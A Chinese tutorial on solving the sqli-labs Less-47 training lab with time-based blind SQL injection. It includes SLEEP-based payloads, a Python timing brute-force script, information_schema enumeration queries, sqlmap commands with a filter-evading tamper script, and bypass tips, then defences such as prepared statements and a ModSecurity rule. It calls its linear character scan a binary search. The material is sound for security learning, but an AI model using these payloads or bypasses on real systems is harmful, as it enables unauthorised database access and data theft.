1. sqli-labs-Less-47通关实战解析
作为Web安全领域的经典靶场,sqli-labs系列一直是渗透测试学习者的必修课。Less-47这一关主要考察基于时间延迟的盲注技巧(Time-Based Blind SQL Injection),相比前几关的报错注入和布尔盲注,时间盲注对攻击者的耐心和技术要求更高。我在实际测试中发现,这关的过滤机制会拦截常见注释符,需要采用特殊的绕过手法。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 漏洞环境与核心原理
2.1 靶场环境搭建
使用Docker快速部署环境:
bash复制docker pull acgpiano/sqli-labs
docker run -dt --name sqli -p 80:80 acgpiano/sqli-labs
访问http://localhost/Less-47/即可进入挑战页面。页面包含一个简单的登录表单,核心注入点位于username参数。
2.2 时间盲注原理剖析
当服务器不返回具体错误信息且页面内容无变化时,通过构造SQL语句人为制造时间延迟,根据响应时间差异判断注入结果。典型payload结构:
sql复制' AND IF(ASCII(SUBSTR((SELECT database()),1,1))>100,SLEEP(3),0)--
关键函数说明:
IF(condition,true_part,false_part):条件判断ASCII():获取字符ASCII码SUBSTR(str,pos,len):字符串截取SLEEP(seconds):制造延迟
3. 手工注入全流程
3.1 注入点探测
首先测试基础注入:
sql复制admin' AND 1=1--
admin' AND 1=2--
发现无回显差异,但添加sleep函数时出现明显延迟:
sql复制admin' AND SLEEP(5)--
注意:本关会过滤
--注释符,需改用#或闭合引号
3.2 数据库名爆破
使用二分法逐字符判断:
python复制import requests
import time
url = "http://localhost/Less-47/login.php"
chars = 'abcdefghijklmnopqrstuvwxyz0123456789_'
db_name = ""
for i in range(1,20):
for c in chars:
payload = f"admin' AND IF(ASCII(SUBSTR((SELECT database()),{i},1))={ord(c)},SLEEP(2),0)#"
start = time.time()
requests.post(url, data={"uname":payload,"passwd":"test"})
if time.time() - start > 1.5:
db_name += c
print(f"[+] Found: {db_name}")
break
print(f"Database: {db_name}")
3.3 表名与列名提取
获取security数据库的表名:
sql复制admin' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))>100,SLEEP(2),0)#
通过修改LIMIT偏移量遍历所有表,重点获取users表结构:
sql复制admin' AND IF(ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1))>100,SLEEP(2),0)#
4. 自动化注入实战
4.1 SQLmap配置技巧
创建sqlmap.txt保存测试请求:
code复制POST /Less-47/login.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
uname=test&passwd=test
执行命令:
bash复制sqlmap -r sqlmap.txt -p uname --technique=T --dbms=mysql --level=5 --risk=3
关键参数说明:
--technique=T:指定时间盲注--dbms=mysql:指定数据库类型--batch:自动选择默认选项
4.2 自定义Tamper脚本
针对过滤规则编写delayreplace.py:
python复制from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
return payload.replace("SLEEP(", "SLEEP/**/(")
使用脚本绕过过滤:
bash复制sqlmap -r sqlmap.txt --tamper=delayreplace.py
5. 防御方案与实战建议
5.1 安全编码实践
php复制// 使用预处理语句
$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
5.2 WAF规则示例(ModSecurity)
code复制SecRule ARGS "@rx sleep\s*\(" \
"id:1005,phase:2,deny,msg:'SQLi Time-Based Detection'"
5.3 实战经验总结
- 时间盲注平均耗时是布尔盲注的3-5倍,建议先尝试其他注入方式
- 网络波动可能导致误判,建议设置基准响应时间
- 遇到过滤时尝试:
- 内联注释
/**/ - 函数名与括号分离
SLEEP/**/(3) - 编码混淆
CHAR(83,76,69,69,80)
- 内联注释
